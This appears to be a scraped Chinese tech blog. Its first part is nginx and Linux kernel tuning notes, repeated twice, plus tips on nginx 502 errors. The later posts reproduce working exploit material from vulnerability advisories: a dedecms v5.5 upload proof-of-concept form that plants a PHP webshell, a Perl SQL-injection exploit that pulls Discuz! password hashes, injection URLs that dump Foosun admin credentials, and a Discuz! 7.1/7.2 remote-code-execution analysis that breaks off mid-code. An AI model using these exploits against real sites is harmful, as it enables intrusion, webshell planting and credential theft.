 net.core.somaxconn = 262144

web 应用中listen 函数的backlog 默认会给我们内核参数的net.core.somaxconn 限制到128,而nginx 定义的NGX_LISTEN_BACKLOG 默认为511,所以有必要调整这个值。

 net.core.netdev_max_backlog = 262144

每个网络接口接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目。

net.ipv4.tcp_max_orphans = 262144

系统中最多有多少个TCP 套接字不被关联到任何一个用户文件句柄上。如果超过这个数字,孤儿连接将即刻被复位并打印出警告信息。这个限制仅仅是为了防止简单的DoS 攻击,不能过分依靠它或者人为地减小这个值,更应该增加这个值(如果增加了内存之后)。

net.ipv4.tcp_max_syn_backlog = 262144

记录的那些尚未收到客户端确认信息的连接请求的最大值。对于有128M 内存的系统而言,缺省值是1024,小内存的系统则是128。

net.ipv4.tcp_timestamps = 0

时间戳可以避免序列号的卷绕。一个1Gbps 的链路肯定会遇到以前用过的序列号。时间戳能够让内核接受这种"异常"的数据包。这里需要将其关掉。

net.ipv4.tcp_synack_retries = 1

为了打开对端的连接,内核需要发送一个SYN 并附带一个回应前面一个SYN 的ACK。也就是所谓三次握手中的第二次握手。这个设置决定了内核放弃连接之前发送SYN+ACK 包的数量。

net.ipv4.tcp_syn_retries = 1

在内核放弃建立连接之前发送SYN 包的数量。

net.ipv4.tcp_fin_timeout = 1

如果套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2 状态的时间。对端可以出错并永远不关闭连接,甚至意外当机。缺省值是60 秒。2.2 内核的通常值是180 秒,3你可以按这个设置,但要记住的是,即使你的机器是一个轻载的WEB 服务器,也有因为大量的死套接字而内存溢出的风险,FIN- WAIT-2 的危险性比FIN-WAIT-1 要小,因为它最多只能吃掉1.5K 内存,但是它们的生存期长些。

net.ipv4.tcp_keepalive_time = 30

当keepalive 起用的时候,TCP 发送keepalive 消息的频度。缺省是2 小时。

下面贴一个完整的内核优化设置:

net.ipv4.ip_forward = 0
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.default.accept_source_route = 0
kernel.sysrq = 0
kernel.core_uses_pid = 1
net.ipv4.tcp_syncookies = 1
kernel.msgmnb = 65536
kernel.msgmax = 65536
kernel.shmmax = 68719476736
kernel.shmall = 4294967296
net.ipv4.tcp_max_tw_buckets = 6000
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_rmem = 4096 87380 4194304
net.ipv4.tcp_wmem = 4096 16384 4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.core.netdev_max_backlog = 262144
net.core.somaxconn = 262144
net.ipv4.tcp_max_orphans = 3276800
net.ipv4.tcp_max_syn_backlog = 262144
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_fin_timeout = 1
net.ipv4.tcp_keepalive_time = 30
net.ipv4.ip_local_port_range = 1024 65000

下面是一个简单的nginx 配置文件:

user www www;
worker_processes 8;
worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000
01000000;
error_log /www/log/nginx_error.log crit;
pid /usr/local/nginx/nginx.pid;
worker_rlimit_nofile 204800;
events
{
use epoll;
worker_connections 204800;
}
http
{
include mime.types;
default_type application/octet-stream;
charset utf-8;
server_names_hash_bucket_size 128;
client_header_buffer_size 2k;
large_client_header_buffers 4 4k;
client_max_body_size 8m;
sendfile on;
tcp_nopush on;
keepalive_timeout 60;
fastcgi_cache_path /usr/local/nginx/fastcgi_cache levels=1:2
keys_zone=TEST:10m
inactive=5m;
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
fastcgi_buffer_size 4k;
fastcgi_buffers 8 4k;
fastcgi_busy_buffers_size 8k;
fastcgi_temp_file_write_size 8k;
fastcgi_cache TEST;
fastcgi_cache_valid 200 302 1h;
fastcgi_cache_valid 301 1d;
fastcgi_cache_valid any 1m;
fastcgi_cache_min_uses 1;
fastcgi_cache_use_stale error timeout invalid_header http_500;
open_file_cache max=204800 inactive=20s;
open_file_cache_min_uses 1;
open_file_cache_valid 30s;
tcp_nodelay on;
gzip on;
gzip_min_length 1k;
gzip_buffers 4 16k;
gzip_http_version 1.0;
gzip_comp_level 2;
gzip_types text/plain application/x-javascript text/css application/xml;
gzip_vary on;
server
{
listen 8080;
server_name backup.aiju.com;
index index.php index.htm;
root /www/html/;
location /status
{
stub_status on;
}
location ~ .*\.(php|php5)?$
{
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
include fcgi.conf;
}
location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$
 {
expires 30d;
}
log_format access '$remote_addr -- $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" $http_x_forwarded_for';
access_log /www/log/access.log access;
}
}

关于FastCGI 的几个指令:

fastcgi_cache_path /usr/local/nginx/fastcgi_cache levels=1:2 keys_zone=TEST:10minactive=5m;

这个指令为FastCGI 缓存指定一个路径,目录结构等级,关键字区域存储时间和非活动删除时间。

fastcgi_connect_timeout 300;

指定连接到后端FastCGI 的超时时间。

fastcgi_send_timeout 300;

向FastCGI 传送请求的超时时间,这个值是指已经完成两次握手后向FastCGI 传送请求的超时时间。

fastcgi_read_timeout 300;

接收FastCGI 应答的超时时间,这个值是指已经完成两次握手后接收FastCGI 应答的超时时间。

fastcgi_buffer_size 4k;

指定读取FastCGI 应答第一部分需要用多大的缓冲区,一般第一部分应答不会超过1k,由于页面大小为4k,所以这里设置为4k。

fastcgi_buffers 8 4k;

指定本地需要用多少和多大的缓冲区来缓冲FastCGI 的应答。

fastcgi_busy_buffers_size 8k;

这个指令我也不知道是做什么用,只知道默认值是fastcgi_buffers 的两倍。

fastcgi_temp_file_write_size 8k;

在写入fastcgi_temp_path 时将用多大的数据块,默认值是fastcgi_buffers 的两倍。

fastcgi_cache TEST

开启FastCGI 缓存并且为其制定一个名称。个人感觉开启缓存非常有用,可以有效降低CPU 负载,并且防止502 错误。

fastcgi_cache_valid 200 302 1h;
fastcgi_cache_valid 301 1d;
fastcgi_cache_valid any 1m;

为指定的应答代码指定缓存时间,如上例中将200,302 应答缓存一小时,301 应答缓存1 天,其他为1 分钟。

fastcgi_cache_min_uses 1;

缓存在fastcgi_cache_path 指令inactive 参数值时间内的最少使用次数,如上例,如果在5 分钟内某文件1 次也没有被使用,那么这个文件将被移除。

fastcgi_cache_use_stale error timeout invalid_header http_500;

不知道这个参数的作用,猜想应该是让nginx 知道哪些类型的缓存是没用的。以上为nginx 中FastCGI 相关参数,另外,FastCGI 自身也有一些配置需要进行优化,如果你使用php-fpm 来管理FastCGI,可以修改配置文件中的以下值:

<value name="max_children">60</value>

同时处理的并发请求数,即它将开启最多60 个子线程来处理并发连接。

<value name="rlimit_files">102400</value>

最多打开文件数。

<value name="max_requests">204800</value>

每个进程在重置之前能够执行的最多请求数。

下面贴几张测试结果图。

下图为同时在6 台机器运行webbench -c 30000 -t 600 http://backup.aiju.com:8080/index.html 命令后的测试结果:

使用netstat 过滤后的连接数:

php 页面在status 中的结果(php 页面为调用phpinfo):

php 页面在netstat 过滤后的连接数:

未使用FastCGI 缓存之前的服务器负载:

此时打开php 页面已经有些困难,需要进行多次刷新才能打开。上图中cpu0 负载偏低
是因为测试时将网卡中断请求全部分配到cpu0 上,并且在nginx 中开启7 个进程分别制定到cpu1-7。

使用FastCGI 缓存之后:

此时可以很轻松的打开php 页面。
这个测试并没有连接到任何数据库,所以并没有什么参考价值,不过不知道上述测试是否已经到达极限,根据内存和cpu 的使用情况来看似乎没有,但是已经没有多余的机子来让我运行webbench 了。囧

转载自 http://bbs.linuxtone.org/thread-4504-1-1.html

 
我的QQ空间
dedecms 55 漏洞
<html><head><title>dedecms v55 upload poc ...
 

nginx优化1

| | 0 评论 |

一般来说nginx配置文件中对优化比较有作用的为以下几项:
worker_processes 8;

nginx进程数,建议按照cpu数目来指定,一般为它的倍数。
worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000 10000000;
为每个进程分配cpu,上例中将8个进程分配到8个cpu,当然可以写多个,或者将一个进程分配到多个cpu。
worker_rlimit_nofile 102400;

这个指令是指当一个nginx进程打开的最多文件描述符数目,理论值应该是最多打开文件数(ulimit -n)与nginx进程数相除,但是nginx分配请求并不是那么均匀,所以最好与ulimit -n的值保持一致。
use epoll;

使用epoll的I/O模型,这个不用说了吧。
worker_connections 102400;

每个进程允许的最多连接数,理论上每台nginx服务器的最大连接数为worker_processes*worker_connections。
keepalive_timeout 60;

keepalive超时时间。
client_header_buffer_size 4k;

客户端请求头部的缓冲区大小,这个可以根据你的系统分页大小来设置,一般一个请求头的大小不会超过1k,不过由于一般系统分页都要大于1k,所以这里设置为分页大小。分页大小可以用命令getconf PAGESIZE取得。
open_file_cache max=102400 inactive=20s;

这个将为打开文件指定缓存,默认是没有启用的,max指定缓存数量,建议和打开文件数一致,inactive是指经过多长时间文件没被请求后删除缓存。
open_file_cache_valid 30s;

这个是指多长时间检查一次缓存的有效信息。
open_file_cache_min_uses 1;

open_file_cache指令中的inactive参数时间内文件的最少使用次数,如果超过这个数字,文件描述符一直是在缓存中打开的,如上例,如果有一个文件在inactive时间内一次没被使用,它将被移除。

关于内核参数的优化:

net.ipv4.tcp_max_tw_buckets = 6000

timewait的数量,默认是180000。
net.ipv4.ip_local_port_range = 1024    65000

允许系统打开的端口范围。
net.ipv4.tcp_tw_recycle = 1

启用timewait快速回收。
net.ipv4.tcp_tw_reuse = 1

开启重用。允许将TIME-WAIT sockets重新用于新的TCP连接。
net.ipv4.tcp_syncookies = 1

开启SYN Cookies,当出现SYN等待队列溢出时,启用cookies来处理。
net.core.somaxconn = 262144

web应用中listen函数的backlog默认会给我们内核参数的net.core.somaxconn限制到128,而nginx定义的NGX_LISTEN_BACKLOG默认为511,所以有必要调整这个值。
net.core.netdev_max_backlog = 262144

每个网络接口接收数据包的速率比内核处理这些包的速率快时,允许送到队列的数据包的最大数目。
net.ipv4.tcp_max_orphans = 262144

系统中最多有多少个TCP套接字不被关联到任何一个用户文件句柄上。如果超过这个数字,孤儿连接将即刻被复位并打印出警告信息。这个限制仅仅是为了防止简单的DoS攻击,不能过分依靠它或者人为地减小这个值,更应该增加这个值(如果增加了内存之后)。
net.ipv4.tcp_max_syn_backlog = 262144

记录的那些尚未收到客户端确认信息的连接请求的最大值。对于有128M内存的系统而言,缺省值是1024,小内存的系统则是128。
net.ipv4.tcp_timestamps = 0

时间戳可以避免序列号的卷绕。一个1Gbps的链路肯定会遇到以前用过的序列号。时间戳能够让内核接受这种"异常"的数据包。这里需要将其关掉。
net.ipv4.tcp_synack_retries = 1

为了打开对端的连接,内核需要发送一个SYN并附带一个回应前面一个SYN的ACK。也就是所谓三次握手中的第二次握手。这个设置决定了内核放弃连接之前发送SYN+ACK包的数量。
net.ipv4.tcp_syn_retries = 1

在内核放弃建立连接之前发送SYN包的数量。
net.ipv4.tcp_fin_timeout = 1

如果套接字由本端要求关闭,这个参数决定了它保持在FIN-WAIT-2状态的时间。对端可以出错并永远不关闭连接,甚至意外当机。缺省值是60秒。2.2 内核的通常值是180秒,你可以按这个设置,但要记住的是,即使你的机器是一个轻载的WEB服务器,也有因为大量的死套接字而内存溢出的风险,FIN- WAIT-2的危险性比FIN-WAIT-1要小,因为它最多只能吃掉1.5K内存,但是它们的生存期长些。
net.ipv4.tcp_keepalive_time = 30

当keepalive起用的时候,TCP发送keepalive消息的频度。缺省是2小时。

下面贴一个完整的内核优化设置:

引用
net.ipv4.ip_forward = 0
net.ipv4.conf.default.rp_filter = 1
net.ipv4.conf.default.accept_source_route = 0
kernel.sysrq = 0
kernel.core_uses_pid = 1
net.ipv4.tcp_syncookies = 1
kernel.msgmnb = 65536
kernel.msgmax = 65536
kernel.shmmax = 68719476736
kernel.shmall = 4294967296
net.ipv4.tcp_max_tw_buckets = 6000
net.ipv4.tcp_sack = 1
net.ipv4.tcp_window_scaling = 1
net.ipv4.tcp_rmem = 4096        87380   4194304
net.ipv4.tcp_wmem = 4096        16384   4194304
net.core.wmem_default = 8388608
net.core.rmem_default = 8388608
net.core.rmem_max = 16777216
net.core.wmem_max = 16777216
net.core.netdev_max_backlog = 262144
net.core.somaxconn = 262144
net.ipv4.tcp_max_orphans = 3276800
net.ipv4.tcp_max_syn_backlog = 262144
net.ipv4.tcp_timestamps = 0
net.ipv4.tcp_synack_retries = 1
net.ipv4.tcp_syn_retries = 1
net.ipv4.tcp_tw_recycle = 1
net.ipv4.tcp_tw_reuse = 1
net.ipv4.tcp_mem = 94500000 915000000 927000000
net.ipv4.tcp_fin_timeout = 1
net.ipv4.tcp_keepalive_time = 30
net.ipv4.ip_local_port_range = 1024    65000


下面是一个简单的nginx配置文件:

引用
user  www www;
worker_processes 8;
worker_cpu_affinity 00000001 00000010 00000100 00001000 00010000 00100000 01000000;
error_log  /www/log/nginx_error.log  crit;
pid        /usr/local/nginx/nginx.pid;
worker_rlimit_nofile 204800;

events
{
  use epoll;
  worker_connections 204800;
}

http
{
  include       mime.types;
  default_type  application/octet-stream;

  charset  utf-8;

  server_names_hash_bucket_size 128;
  client_header_buffer_size 2k;
  large_client_header_buffers 4 4k;
  client_max_body_size 8m;

  sendfile on;
  tcp_nopush     on;

  keepalive_timeout 60;

  fastcgi_cache_path /usr/local/nginx/fastcgi_cache levels=1:2
                keys_zone=TEST:10m
                inactive=5m;
  fastcgi_connect_timeout 300;
  fastcgi_send_timeout 300;
  fastcgi_read_timeout 300;
  fastcgi_buffer_size 4k;
  fastcgi_buffers 8 4k;
  fastcgi_busy_buffers_size 8k;
  fastcgi_temp_file_write_size 8k;
  fastcgi_cache TEST;
  fastcgi_cache_valid 200 302 1h;
  fastcgi_cache_valid 301 1d;
  fastcgi_cache_valid any 1m;
  fastcgi_cache_min_uses 1;
  fastcgi_cache_use_stale error timeout invalid_header http_500;
  
  open_file_cache max=204800 inactive=20s;
  open_file_cache_min_uses 1;
  open_file_cache_valid 30s;
  


  tcp_nodelay on;
  
  gzip on;
  gzip_min_length  1k;
  gzip_buffers     4 16k;
  gzip_http_version 1.0;
  gzip_comp_level 2;
  gzip_types       text/plain application/x-javascript text/css application/xml;
  gzip_vary on;


  server
  {
    listen       8080;
    server_name  backup.aiju.com;
    index index.php index.htm;
    root  /www/html/;

    location /status
    {
        stub_status on;
    }

    location ~ .*\.(php|php5)?$
    {
        fastcgi_pass 127.0.0.1:9000;
        fastcgi_index index.php;
        include fcgi.conf;
    }

    location ~ .*\.(gif|jpg|jpeg|png|bmp|swf|js|css)$
    {
      expires      30d;
    }

    log_format  access  '$remote_addr - $remote_user [$time_local] "$request" '
              '$status $body_bytes_sent "$http_referer" '
              '"$http_user_agent" $http_x_forwarded_for';
    access_log  /www/log/access.log  access;
      }
}


关于FastCGI的几个指令:

fastcgi_cache_path /usr/local/nginx/fastcgi_cache levels=1:2 keys_zone=TEST:10m inactive=5m;

这个指令为FastCGI缓存指定一个路径,目录结构等级,关键字区域存储时间和非活动删除时间。
fastcgi_connect_timeout 300;

指定连接到后端FastCGI的超时时间。
fastcgi_send_timeout 300;

向FastCGI传送请求的超时时间,这个值是指已经完成两次握手后向FastCGI传送请求的超时时间。
fastcgi_read_timeout 300;

接收FastCGI应答的超时时间,这个值是指已经完成两次握手后接收FastCGI应答的超时时间。
fastcgi_buffer_size 4k;

指定读取FastCGI应答第一部分需要用多大的缓冲区,一般第一部分应答不会超过1k,由于页面大小为4k,所以这里设置为4k。
fastcgi_buffers 8 4k;

指定本地需要用多少和多大的缓冲区来缓冲FastCGI的应答。
fastcgi_busy_buffers_size 8k;

这个指令我也不知道是做什么用,只知道默认值是fastcgi_buffers的两倍。
fastcgi_temp_file_write_size 8k;

在写入fastcgi_temp_path时将用多大的数据块,默认值是fastcgi_buffers的两倍。
fastcgi_cache TEST

开启FastCGI缓存并且为其制定一个名称。个人感觉开启缓存非常有用,可以有效降低CPU负载,并且防止502错误。
fastcgi_cache_valid 200 302 1h;
fastcgi_cache_valid 301 1d;
fastcgi_cache_valid any 1m;

为指定的应答代码指定缓存时间,如上例中将200,302应答缓存一小时,301应答缓存1天,其他为1分钟。
fastcgi_cache_min_uses 1;

缓存在fastcgi_cache_path指令inactive参数值时间内的最少使用次数,如上例,如果在5分钟内某文件1次也没有被使用,那么这个文件将被移除。
fastcgi_cache_use_stale error timeout invalid_header http_500;

不知道这个参数的作用,猜想应该是让nginx知道哪些类型的缓存是没用的。
以上为nginx中FastCGI相关参数,另外,FastCGI自身也有一些配置需要进行优化,如果你使用php-fpm来管理FastCGI,可以修改配置文件中的以下值:
<value name="max_children">60</value>

同时处理的并发请求数,即它将开启最多60个子线程来处理并发连接。
<value name="rlimit_files">102400</value>

最多打开文件数。
<value name="max_requests">204800</value>

每个进程在重置之前能够执行的最多请求数。

下面贴几张测试结果图。

静态页面为我在squid配置4W并发那篇文章中提到的测试文件,下图为同时在6台机器运行webbench -c 30000 -t 600 http://backup.aiju.com:8080/index.html命令后的测试结果:

点击在新窗口中浏览此图片


使用netstat过滤后的连接数:

点击在新窗口中浏览此图片


php页面在status中的结果(php页面为调用phpinfo):

点击在新窗口中浏览此图片


php页面在netstat过滤后的连接数:

点击在新窗口中浏览此图片


未使用FastCGI缓存之前的服务器负载:

点击在新窗口中浏览此图片


此时打开php页面已经有些困难,需要进行多次刷新才能打开。上图中cpu0负载偏低是因为测试时将网卡中断请求全部分配到cpu0上,并且在nginx中开启7个进程分别制定到cpu1-7。
使用FastCGI缓存之后:

点击在新窗口中浏览此图片


此时可以很轻松的打开php页面。

这个测试并没有连接到任何数据库,所以并没有什么参考价值,不过不知道上述测试是否已经到达极限,根据内存和cpu的使用情况来看似乎没有,但是已经没有多余的机子来让我运行webbench了。囧

参考资料:

http://blog.chinaunix.net/u3/105004/showart_2087155.html
http://nginx.179401.cn/
http://blog.s135.com/nginx_php_v5/

PDF版下载:
 
 
我的QQ空间
dedecms 55 漏洞
<html><head><title>dedecms v55 upload poc ...
 

Nginx php-fpm fast-cgi 502 Bad Gateway错误处理

| | 0 评论 |

Nginx php-fpm fast-cgi 502 Bad Gateway错误是FastCGI有问题,造成NGINX 502错误的可能性比较多。
将网上找到的一些和502 Bad Gateway错误有关的问题和排查方法列一下,先从FastCGI配置入手:

1.FastCGI进程是否已经启动

2.FastCGI worker进程数是否不够
通过命令查看服务器上一共开了多少的 php-cgi 进程
      ps -fe |grep "php" | grep -v "grep" | wc -l
使用如下命令查看已经有多少个php-cgi进程用来处理tcp请求
    netstat -anop | grep "php" | grep -v "grep" | wc -l
接近配置文件中设置的数值,表明worker进程数设置太少
参见:http://blog.s135.com/post/361.htm

3.FastCGI执行时间过长
根据实际情况调高以下参数值
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;

4.FastCGI Buffer不够
nginx和apache一样,有前端缓冲限制,可以调整缓冲参数
fastcgi_buffer_size 32k;
fastcgi_buffers 8 32k;
参见:http://www.hiadmin.com/nginx-502-gateway-error%E4%B8%80%E4%BE%8B/

5.Proxy Buffer不够
如果你用了Proxying,调整
proxy_buffer_size  16k;
proxy_buffers      4 16k;
参见:http://www.ruby-forum.com/topic/169040

6.https转发配置错误
正确的配置方法

server_name www.mydomain.com;
location /myproj/repos {
set $fixed_destination $http_destination;
if ( $http_destination ~* ^https(.*)$ )
{
set $fixed_destination http$1;
}
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Destination $fixed_destination;
proxy_pass http://subversion_hosts;
}
参见:http://www.ruby-forum.com/topic/169040
http://bizhi.knowsky.com/
7.查看php-fpm.log
错误请参看:http://www.admin99.net/read.php/396.htm
http://hi.baidu.com/dugu2008/blog/item/0d9e9bf8e8c13b08d8f9fd14.html

8.php的bug
请参看:http://bugs.php.net/bug.php?id=41593

9.php-fpm.conf的配置
请参看http://www.jefflei.com/post/232.html
http://www.php-oa.com/2008/06/05/php-fpm.html

10.nginx.conf的rewrite-url规则等

11.php-fpm.pid
鄙人在/php/sbin/php-fpm 里面把
php_fpm_PID=/data1/php/logs/php-fpm.pid修改成
#php_fpm_PID=/data1/php/logs/php-fpm.pid
故猜想是用户权限的问题已php-fpm.conf里的用户启动该服务估计问题会消失

另外nginx 400 bad request 错误的原因和解决办法
在nginx.conf中,将client_header_buffer_size和large_client_header_buffers都调大,可缓解此问题。
其中主要配置是client_header_buffer_size这一项,默认是1k,所以header小于1k的话是不会出现问题的。
按我现在配置是:
client_header_buffer_size 16k;
large_client_header_buffers 4 64k;
这个配置可接收16k以下的header,在浏览器中cookie的字节数上限会非常大,所以实在是不好去使用那最大值。
本文转载自『北漂石头的博客』
http://www.niutian365.com/blog/
更多精彩内容,欢迎访问北漂石头的博客!

 
 
我的QQ空间
dedecms 55 漏洞
<html><head><title>dedecms v55 upload poc ...
 

dedecms 55 漏洞

2010年1月23日星期六 | | 0 评论 |

<html><head><title>dedecms v55 upload poc by flyh4t</title></head>
<body>
<form action=http://127.0.0.1/include/dialog/select_soft_post.php method='post'

enctype="multipart/form-data" name='myform'>
<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.en-closure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
select u shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
</form>
<br>ndde register_globals=on...
<br>
<br>webshell at  /data/cache/fly.php...<br>
</body></html>
 
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

Discuz! 'name'参数SQL注入漏洞

| | 0 评论 |

SSV ID:15193
SEBUG-Appdir:Discuz!
发布时间:2010-01-02
影响版本:
Comsenz Discuz! 7.x
漏洞描述:
Bugraq ID: 37556    Comsenz Discuz!是一款流行的论坛程序。  Comsenz Discuz!存在输入验证错误,远程攻击者可以利用漏洞进行SQL注入攻击,获得密码HASH等敏感信息。  问题是'misc.php'脚本对'name'参数缺少过滤,构建恶意SQL查询作为参数数据,可更改原来的SQL逻辑,获得敏感信息或操作数据库。
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl      use IO::Socket;          print q{  ######################################################  #    Discuz  Remote SQL Injection Exploit            #  #    By indoushka                                    #  #    www.iq-ty.com                                   #  #    Souk Naamane  (00213771818860)                  #  #    Algeria Hackerz   ([email protected])       #  # Dork:Powered by Discuz! 1.0 © 2002,Crossday Studio #             ######################################################  };      if (!$ARGV[2]) {      print q{      Usage: perl  Discuz.pl host /directory/ victim_userid             perl  Discuz.pl www.Discuz.com /forum/ 1          };      }          $server = $ARGV[0];  $dir    = $ARGV[1];  $user   = $ARGV[2];  $myuser = $ARGV[3];  $mypass = $ARGV[4];  $myid   = $ARGV[5];      print "------------------------------------------------------------------------------------------------\r\n";  print "[>] SERVER: $server\r\n";  print "[>]    DIR: $dir\r\n";  print "[>] USERID: $user\r\n";  print "------------------------------------------------------------------------------------------------\r\n\r\n";      $server =~ s/(http:\/\/)//eg;      $path  = $dir;  $path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ;          print "[~] PREPARE TO CONNECT...\r\n";      $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED";      print "[+] CONNECTED\r\n";  print "[~] SENDING QUERY...\r\n";  print $socket "GET $path HTTP/1.1\r\n";  print $socket "Host: $server\r\n";  print $socket "Accept: */*\r\n";  print $socket "Connection: close\r\n\r\n";  print "[+] DONE!\r\n\r\n";              print "--[ REPORT ]------------------------------------------------------------------------------------\r\n";  while ($answer = <$socket>)  {       if ($answer =~/(\w{32})/)  {        if ($1 ne 0) {     print "Password Hash is: ".$1."\r\n";  print "--------------------------------------------------------------------------------------\r\n";            }  exit();  }      }  print "------------------------------------------------------------------------------------------------\r\n";  
SEBUG安全建议:
目前没有解决方案提供:  http://www.discuz.com/
// sebug.net [2010-01-06]
 
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

风讯4.0 user/SetNextOptions.asp sql注入漏洞

| | 0 评论 |

风讯4.0 user/SetNextOptions.asp sql注入漏洞

SSV ID:15183
SEBUG-Appdir:风讯(foosun)
发布时间:2009-12-12
影响版本:
风讯4.0
漏洞描述:
/user/SetNextOptions.asp中对用户数据验证不严,存在sql注入漏洞。  
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
构造注入  user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_name,3,4,5,6,7,8++from+FS_MF_Admin"admin_name"管理用户名数据库表    user/SetNextOptions.asp?sType=1&EquValue=aaaa&SelectName=aaa&ReqSql=select+1,admin_pass_word,3,4,5,6,7,8++from+FS_MF_Admin"admin_pass_word"管理密码数据库表
SEBUG安全建议:
SEBUG临时解决办法:  对ReqSql参数进行过滤    请参考官方补丁
// sebug.net [2010-01-05]
我的QQ空间
SafeCms <= 2.0.1.0 Beta Cross Site Scripting
SSV ID:15203发布时间:2010-01-07测试方法:[www.sebug.net]本站...
 

Discuz! 7.1 & 7.2 远程代码执行漏洞

| | 0 评论 |

Discuz! 7.1 & 7.2 远程代码执行漏洞

SSV ID:15198
SEBUG-Appdir:Discuz!
发布时间:2010-01-06
影响版本:
Discuz! 7.1 & 7.2
漏洞描述:
产生漏洞的$scriptlang数组在安装插件后已经初始化    Discuz!新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化,可以任意提交,从而可以执行任意PHP命令。    下面来分析下这个远程代码执行漏洞,这个问题真的很严重,可以直接写shell的:    一、漏洞来自showmessage函数:    function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {       extract($GLOBALS, EXTR_SKIP);//危险的用法,未初始化的变量可以直接带进函数,直接导致了问题产生,from www.oldjun.com       global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;       define('CACHE_FORBIDDEN', TRUE);       $hookscriptmessage = $show_message = $message;$messagehandle = 0;       $msgforward = unserialize($_DCACHE['settings']['msgforward']);       $refreshtime = intval($msgforward['refreshtime']);       $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);       $msgforward['refreshtime'] = $refreshtime * 1000;       $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) && $transsidstatus ? transsid($url_forward) : $url_forward);       $seccodecheck = $seccodestatus & 2;       if($_DCACHE['settings']['funcsiteid'] && $_DCACHE['settings']['funckey'] && $funcstatinfo && !IS_ROBOT) {           $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';           if($fp = @fopen($statlogfile, 'a')) {               @flock($fp, 2);               if(is_array($funcstatinfo)) {                   $funcstatinfo = array_unique($funcstatinfo);                   foreach($funcstatinfo as $funcinfo) {                       fwrite($fp, funcstat_query($funcinfo, $message)."\n");                   }               } else {                   fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");               }               fclose($fp);               $funcstatinfo = $GLOBALS['funcstatinfo'] = '';           }       }         if(!defined('STAT_DISABLED') && STAT_ID > 0 && !IS_ROBOT) {           write_statlog($message);       }         if($url_forward && (!empty($quickforward) || empty($inajax) && $msgforward['quick'] && $msgforward['messages'] && @in_array($message, $msgforward['messages']))) {           updatesession();           dheader("location: ".str_replace('&amp;', '&', $url_forward));       }       if(!empty($infloat)) {           if($extra) {               $messagehandle = $extra;           }           $extra = '';       }       if(in_array($extra, array('HALTED', 'NOPERM'))) {           $discuz_action = 254;       } else {           $discuz_action = 255;       }         include language('messages');         $vars = explode(':', $message);//只要含:就可以了       if(count($vars) == 2 && isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可,用:分割           eval("\$show_message = \"".str_replace('"', '\"', $scriptlang[$vars[0]][$vars[1]])."\";");//$scriptlang未初始化,可以自定义,from www.oldjun.com       } elseif(isset($language[$message])) {           $pre = $inajax ? 'ajax_' : '';           eval("\$show_message = \"".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message])."\";");           unset($pre);       }         ......  }   二、DZ的全局机制导致了未初始化的参数可以任意提交:    foreach(array('_COOKIE', '_POST', '_GET') as $_request) {       foreach($$_request as $_key => $_value) {           $_key{0} != '_' && $$_key = daddslashes($_value);       }  }   三、misc.php正好有个可以自定义message的点,其实也是未初始化:    elseif($action == 'imme_binding' && $discuz_uid) {         if(isemail($id)) {           $msn = $db->result_first("SELECT msn FROM {$tablepre}memberfields WHERE uid='$discuz_uid'");           $msn = explode("\t", $msn);           $id = dhtmlspecialchars(substr($id, 0, strpos($id, '@')));           $msn = "$msn[0]\t$id";           $db->query("UPDATE {$tablepre}memberfields SET msn='$msn' WHERE uid='$discuz_uid'");           showmessage('msn_binding_succeed', 'memcp.php');       } else {           if($result == 'Declined') {               dheader("Location: memcp.php");           } else {               showmessage($response['result']);//$response没有初始化,可以自定义,from 